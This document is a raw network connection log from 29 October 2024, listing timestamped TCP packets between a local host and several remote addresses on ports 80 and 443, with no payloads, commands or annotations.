Oct 29, 2024 13:09:16.236574888 CET	60669	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:16.236605883 CET	60669	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:16.237119913 CET	60669	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:16.237216949 CET	60669	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:16.673718929 CET	60670	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:16.679191113 CET	80	60670	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:16.679276943 CET	60670	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:16.682811975 CET	60670	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:16.688168049 CET	80	60670	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:17.611267090 CET	80	60670	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:17.611304998 CET	80	60670	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:17.611449003 CET	60670	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:17.611449003 CET	60670	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:17.611871958 CET	60670	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:17.611871958 CET	60670	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:18.027578115 CET	60671	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:18.033050060 CET	80	60671	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:18.033214092 CET	60671	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:18.033365965 CET	60671	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:18.038611889 CET	80	60671	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:18.956201077 CET	80	60671	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:18.956221104 CET	80	60671	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:18.956331968 CET	60671	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:18.956815004 CET	60671	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:18.956844091 CET	60671	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:19.845168114 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:19.850812912 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.024399996 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.024497986 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.030863047 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.030915022 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.030988932 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.031697035 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.031713963 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.740977049 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.743818045 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.744355917 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.744366884 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.744697094 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.744703054 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.922725916 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.922775984 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.922904015 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.922992945 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.923047066 CET	443	60672	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:20.923079014 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:20.923099041 CET	60672	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:21.311604023 CET	60673	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:21.316970110 CET	80	60673	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:21.317047119 CET	60673	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:21.317416906 CET	60673	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:21.322753906 CET	80	60673	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:22.244807005 CET	80	60673	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:22.244843006 CET	80	60673	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:22.244884014 CET	60673	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:22.244919062 CET	60673	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:22.245848894 CET	60673	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:22.245876074 CET	60673	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:22.610554934 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:22.615986109 CET	80	60674	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:22.616071939 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:22.616269112 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:22.621629000 CET	80	60674	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:23.560825109 CET	80	60674	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:23.560904026 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:23.561069965 CET	80	60674	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:23.561116934 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:23.561348915 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:23.561402082 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:23.566998959 CET	80	60674	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:23.567055941 CET	60674	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:23.937629938 CET	60675	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:23.943115950 CET	80	60675	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:23.943201065 CET	60675	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:23.943504095 CET	60675	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:23.948812962 CET	80	60675	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:25.050404072 CET	80	60675	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:25.050425053 CET	80	60675	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:25.050507069 CET	60675	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:25.050975084 CET	60675	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:25.051000118 CET	60675	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:25.051271915 CET	80	60675	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:25.051328897 CET	60675	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:25.894148111 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:25.899496078 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.073282957 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.073347092 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.078227997 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.078315020 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.078428984 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.078798056 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.078833103 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.791172981 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.793001890 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.793653011 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.793673038 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.793781996 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.793795109 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.974543095 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.974582911 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.974675894 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.975353003 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.975353956 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:26.975397110 CET	443	60676	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:26.976841927 CET	60676	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:27.305421114 CET	60677	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:27.310916901 CET	80	60677	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:27.311000109 CET	60677	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:27.312540054 CET	60677	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:27.318269014 CET	80	60677	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:28.267769098 CET	80	60677	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:28.267807961 CET	80	60677	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:28.267848015 CET	60677	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:28.267867088 CET	60677	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:28.268323898 CET	60677	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:28.268338919 CET	60677	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:28.534651041 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:28.540101051 CET	80	60678	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:28.540184975 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:28.540689945 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:28.546467066 CET	80	60678	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:29.496773005 CET	80	60678	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:29.496793032 CET	80	60678	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:29.496848106 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:29.496879101 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:29.497364044 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:29.497414112 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:29.503057003 CET	80	60678	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:29.503109932 CET	60678	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:29.783454895 CET	60679	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:29.788913012 CET	80	60679	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:29.789020061 CET	60679	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:29.789535046 CET	60679	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:29.794819117 CET	80	60679	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:30.713148117 CET	80	60679	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:30.713176966 CET	80	60679	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:30.713202000 CET	60679	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:30.713277102 CET	60679	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:30.713779926 CET	60679	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:30.713779926 CET	60679	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:31.327148914 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:31.332643986 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:31.506266117 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:31.506325006 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:31.510580063 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:31.510606050 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:31.510672092 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:31.510952950 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:31.510967970 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:32.219469070 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:32.219552040 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.220041990 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.220052004 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:32.220375061 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.220383883 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:32.400918007 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:32.400974989 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:32.401016951 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.401072979 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.401159048 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.401186943 CET	443	60680	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:32.401206017 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.401237965 CET	60680	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:32.643929958 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:32.649323940 CET	80	60681	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:32.649418116 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:32.649677992 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:32.655770063 CET	80	60681	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:33.575355053 CET	80	60681	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:33.575418949 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:33.575586081 CET	80	60681	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:33.575624943 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:33.575840950 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:33.576226950 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:33.581671000 CET	80	60681	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:33.581757069 CET	60681	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:33.781532049 CET	60682	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:33.787931919 CET	80	60682	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:33.788011074 CET	60682	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:33.788289070 CET	60682	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:33.793757915 CET	80	60682	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:34.741954088 CET	80	60682	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:34.742018938 CET	60682	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:34.742079973 CET	80	60682	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:34.742130041 CET	60682	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:34.742744923 CET	60682	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:34.742744923 CET	60682	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:35.061800957 CET	60683	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:35.067437887 CET	80	60683	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:35.067653894 CET	60683	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:35.067876101 CET	60683	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:35.073286057 CET	80	60683	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:35.988657951 CET	80	60683	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:35.989000082 CET	60683	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:35.989569902 CET	60683	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:35.989598036 CET	80	60683	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:35.989625931 CET	60683	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:35.989715099 CET	60683	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:36.469264984 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:36.474955082 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:36.657159090 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:36.661020041 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:36.676506996 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:36.676533937 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:36.676590919 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:36.677181959 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:36.677195072 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:37.393141985 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:37.393215895 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.393814087 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.393819094 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:37.393964052 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.393968105 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:37.577290058 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:37.577328920 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:37.577354908 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.577379942 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.577528000 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.577528000 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.577539921 CET	443	60684	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:37.577583075 CET	60684	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:37.829520941 CET	60685	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:37.834937096 CET	80	60685	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:37.835052967 CET	60685	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:37.835330009 CET	60685	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:37.840603113 CET	80	60685	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:38.748372078 CET	80	60685	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:38.748436928 CET	60685	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:38.748465061 CET	80	60685	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:38.748541117 CET	60685	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:38.749130964 CET	60685	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:38.749361038 CET	60685	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:39.108421087 CET	60686	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:39.113945007 CET	80	60686	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:39.114015102 CET	60686	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:39.114418983 CET	60686	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:39.119779110 CET	80	60686	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:40.047117949 CET	80	60686	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:40.047192097 CET	80	60686	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:40.047359943 CET	60686	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:40.049376011 CET	60686	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:40.049469948 CET	60686	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:40.250978947 CET	60687	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:40.257857084 CET	80	60687	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:40.257950068 CET	60687	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:40.258285999 CET	60687	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:40.264564991 CET	80	60687	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:41.190167904 CET	80	60687	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:41.190231085 CET	60687	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:41.190608025 CET	80	60687	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:41.190650940 CET	60687	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:41.191061020 CET	60687	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:41.191081047 CET	60687	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:41.861623049 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:41.867543936 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:42.041150093 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:42.041230917 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:42.054282904 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:42.054327965 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:42.055299997 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:42.058459997 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:42.058486938 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:42.768860102 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:42.768980980 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.019599915 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.019625902 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:43.019974947 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.019982100 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:43.196774960 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:43.196824074 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:43.196849108 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.196877956 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.201181889 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.201205015 CET	443	60688	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:43.201215982 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.201265097 CET	60688	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:43.588843107 CET	60689	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:43.594290018 CET	80	60689	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:43.594357967 CET	60689	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:43.610707045 CET	60689	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:43.616077900 CET	80	60689	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:44.525393963 CET	80	60689	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:44.525490046 CET	80	60689	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:44.525520086 CET	60689	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:44.525665998 CET	60689	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:44.525971889 CET	60689	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:44.526051998 CET	60689	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:44.728472948 CET	60690	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:44.733771086 CET	80	60690	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:44.733838081 CET	60690	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:44.734044075 CET	60690	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:44.739491940 CET	80	60690	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:45.650280952 CET	80	60690	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:45.650335073 CET	60690	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:45.650468111 CET	80	60690	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:45.650512934 CET	60690	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:45.652359009 CET	60690	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:45.652381897 CET	60690	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:46.035363913 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:46.040796041 CET	80	60691	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:46.040921926 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:46.041263103 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:46.046701908 CET	80	60691	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:46.961796045 CET	80	60691	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:46.961813927 CET	80	60691	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:46.961945057 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:46.961946011 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:46.962439060 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:46.962457895 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:47.222007990 CET	80	60691	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:47.222115993 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:47.224443913 CET	80	60691	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:47.224510908 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:47.224617958 CET	80	60691	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:47.224666119 CET	60691	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:47.796974897 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:47.802535057 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:47.976233006 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:47.976464033 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:47.993027925 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:47.993076086 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:47.993254900 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:47.993680000 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:47.993701935 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:49.339931965 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:49.339991093 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.340471983 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.340478897 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:49.340717077 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.340723038 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:49.524775982 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:49.524821043 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:49.524952888 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.524952888 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.524983883 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.525001049 CET	443	60692	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:49.525017023 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.525044918 CET	60692	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:49.743047953 CET	60693	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:49.748676062 CET	80	60693	64.233.166.82	192.168.2.5
